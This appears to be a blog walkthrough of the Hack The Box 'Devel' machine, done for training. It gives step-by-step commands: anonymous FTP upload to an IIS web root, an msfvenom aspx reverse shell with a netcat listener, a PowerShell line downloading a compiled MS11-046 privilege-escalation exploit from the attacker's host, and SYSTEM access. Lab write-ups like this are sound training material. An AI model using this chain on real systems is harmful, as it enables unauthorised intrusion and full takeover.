Devel – Hack The Box Walkthrough

This is a walkthrough of the Devel box from Hack The Box, done without using Metasploit.

1. Initial nmap scan

nmap -T4 -p- -A -oA initial_scan 10.10.10.5

    • Legacy box IP address is 10.10.10.5
    • -T4 = Sets the timing for scanning. The higher the number between 0-5 means it’s faster, however it’s also less accurate. T4 is the default
    • -p- = Port scan all ports
    • -A = Enables OS detection, version detection, script scanning, and traceroute
    • -oA = Output to a file I called “initial_scan”

Ports 21 and 80 are open. On 21 it looks like anonymous login is allowed. On 80 we have Microsoft IIS webserver running (version 7.5)

 

2. Nmap vuln scan

nmap --script vuln -p 21,80 -oA vuln_scan 10.10.10.5

    • –script = Scan with default NSE scripts. Considered useful for discovery, and safe. I am searching for “vuln”
    • -p = Port scan for ports 21 and 80, the two ports I want to explore vulnerabilities on

Didn’t pick up any extra vulnerability information. So at this point we have ports 80 and 21 to work with.

 

3. Testing the FTP server

Since port 21 is an ftp server and we know that anonymous login is allowed (meaning you can log in with the username “anonymous” and any password), my first thought is maybe we can upload an exploit to the ftp server and then execute it through the web server. I tested to see if I could log into the server. When prompted for a password, I just hit “enter”.

ftp 10.10.10.5

I was successfully able to log into the server. I can see some files in the current directory, so I tested to see if I could navigate to one of the files in my browser:

Test was successful. Because I can see files in the ftp server and then navigate to them via the web browser, that tells me the ftp server is in the same root as the web server. This is good because it makes the idea of uploading something (like a reverse shell) to the ftp server and running it through the web server seem more feasible.

As a final test, I created a file and uploaded it to the ftp server:

echo "<html><body>testies</body></html>" > testies.html

    • echo will display a string that you put in quotes (in this case my html code) either as standard output or in a file. In this case I want to output the string to a file I’ve named testies.html. To achieve this I use the >
    • After creating the file, I can use the “cat” command to display what is in the file to verify everything looks correct

Now I will upload this file to the ftp server:

put testies.html

And confirm that the file successfully uploaded with a simple “ls” to list out the contents of the ftp server’s directory:

Now if I go to my browser and call the html file I’ve just uploaded, we can see that the web server executes the file!

 

4. Generating a payload

We know the web server is Microsoft IIS 7.5 and it would be good to know what sort of files this server generally executes. I googled and found the following:

According to this link, ASP.NET page is also a server side file saved with the .aspx extension. So it sounds like a file with an aspx extension might work well.

I will use msfvenom to generate a reverse shell. I’ll quickly check what formats of payloads are available:

msfvenom --list formats

The search results show that aspx is one of the options. Because meterpreter is not allowed on the OSCP, I will generate a general reverse shell:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.21 LPORT=4444 -f aspx > reverse-shell.aspx

    • -p = payload (in this case it will be a windows reverse tcp shell)
      • A reverse shell (also known as a connect-back) requires the attacker to set up a listener first on their box. Then the victim machine acts as a client connecting to that listener, and then finally the attacker receives the shell.
    • -f = format (in our case aspx)
    • LHOST = IP address of your host machine that will be doing the attack
    • LPORT = Any port you wish to assign to the listener (I try to stick to larger numbers)
    • use the > to output to a file (I’ve named mine reverse-shell.aspx)

Now that the reverse shell has been generated, I will upload it to the ftp server and confirm that it is there. My previous connection timed out so I had to connect again, then I ran “put” followed by an “ls” to view directory contents:

put reverse-shell.aspx

 

5. Start a netcat listener and execute reverse shell

We need something to receive the reverse shell once it’s executed. We can set up a netcat listener on our host machine to do that. Open up a new terminal to do this. Make sure to use that same 4444 port that you included in your msfvenom command above when you were creating your payload.

nc -nvlp 4444

Netcat is now listening on port 4444. Time to execute the reverse shell. To do this, load the reverse-shell.aspx file that we transferred over into the browser (just like when we did the test execution of testies.html earlier):

If you go back to your netcat listener now, you should see that the reverse shell has successfully connected back to your listener, giving you a shell/direct access to the victim machine:

I ran a whoami and it looks like I am running as iis apppool\web.

Tips for if the shell does not work for you:

    • make sure your port matches on your listener and your reverse shell payload
    • make sure your reverse shell payload was made using the correct ip address of YOUR box. This will most likely be the tun0 IP since you are operating through the HTB vpn.
    • check to see if your HTB connection got cut or if someone shutdown the box
    • if you’ve already tried and failed a few times, you might need to reset the box

 

6. Navigating around the victim machine

Navigate to the users directory to see if we can find important users or flags. We can see an Administrator user and a user called babis. Neither directory is accessible:

Because we don’t have permission to access either directory, we will need to work on privilege escalation.

 

7. Privilege escalation

Privilege escalation will require some sort of exploit, and in order to find a good one, I’ll need to learn a little bit more about the victim box. Run systeminfo to see what other info you can find:

systeminfo

The output shows the victim box is a Windows 7 Enterprise, build 7600. If you scroll down you can also see hotfix(s): N/A which tells me that it’s not getting patched. So, we have an older Windows 7 that’s not getting patched…likely to be vulnerable to something.

A quick search on google pulls up a few possible options:

Both of these mention privilege escalation in the description. After opening up the links, though, the first option actually gave a bit more information on how to compile the script. So that is extra helpful and makes it a good option to start with:

Grab the EDB-ID from that page as well. We can use that to find this exploit locally in using searchsploit:

Now back in the terminal I’ll run searchsploit to search for this exploit locally, using the EDB-ID we grabbed a minute ago:

searchsploit -m 40564

    • -m = This will mirror (copy) an exploit to your current working directory
    • Tip: It’s good to make sure your searchsploit is up to date so you have all the latest vulnerabilities. You can do this by running searchsploit -u. However, keep in mind this can take a while to update, so if you’re in a rush/in the middle of an exam, it might not be an ideal time to do an update.

Now that we have the exploit on our machine, we still need to compile it so it can run. Remember the notes from the Exploit-DB page from earlier? It mentions how to compile under the “Exploit compiling” section:

MinGW is a compiler system based on the GNU GCC and Binutils projects that compiles and links code to be run on Win32 (Windows) systems. It provides C, C++ and Fortran compilers plus other related tools. According to the screenshot above, we will need mingw-w64 to compile this script which is currently in a .c file:

apt-get update
apt-get install mingw-w64

Then compile 40564.c using the command given in the notes above, changing the MS11-046.c and MS11-046.exe to my file name instead. The 40564.exe is what my final compiled script will be output as:

i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32

If you do an ls you will now see your original .c file that you copied over from searchsploit, and your new compiled and executable script:

8. Transferring the exploit to the victim machine

Now that we have the executable, we have to get it onto the victim machine so we can run it and hopefully do some privilege escalation.

I originally tried to transfer over the .exe using the ftp server. I was able to get the file over and find it, but it would not execute. I am not quite sure why. But I ended up Googling some more and finding another solution, and this one did work for me:

Start up a server on your host machine. SimpleHTTPServer comes by default on Kali. Pick a port for it to run on (9005 in my case):

python -m SimpleHTTPServer 9005

We can then use powershell to transfer the executable over to the victim box over 9005:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.21:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

    • this command should be run on the victim box
    • this will download the 40564.exe file from my box 10.10.14.21 over port 9005 and copy it to the Downloads folder on the victim box

Your server will show a GET request being made on your side

On the victim side, I did not see anything happen after I typed in my command (I accidentally typed it twice as you can see in the screenshot below). So I ran ls and that showed me that the 40564.exe file actually copied over:

 

9. Execute the exploit

Now to execute the exploit just type in the file name and hit enter. You’ll know it worked if you run a whoami and see you are now Authority/System (essentially root)!

 

10. Grabbing the flags

Navigate back to the user directories we looked at earlier and did not have access to. You can grab the flags from there and open them up by running the type command:

Leave a Reply

Your email address will not be published. Required fields are marked *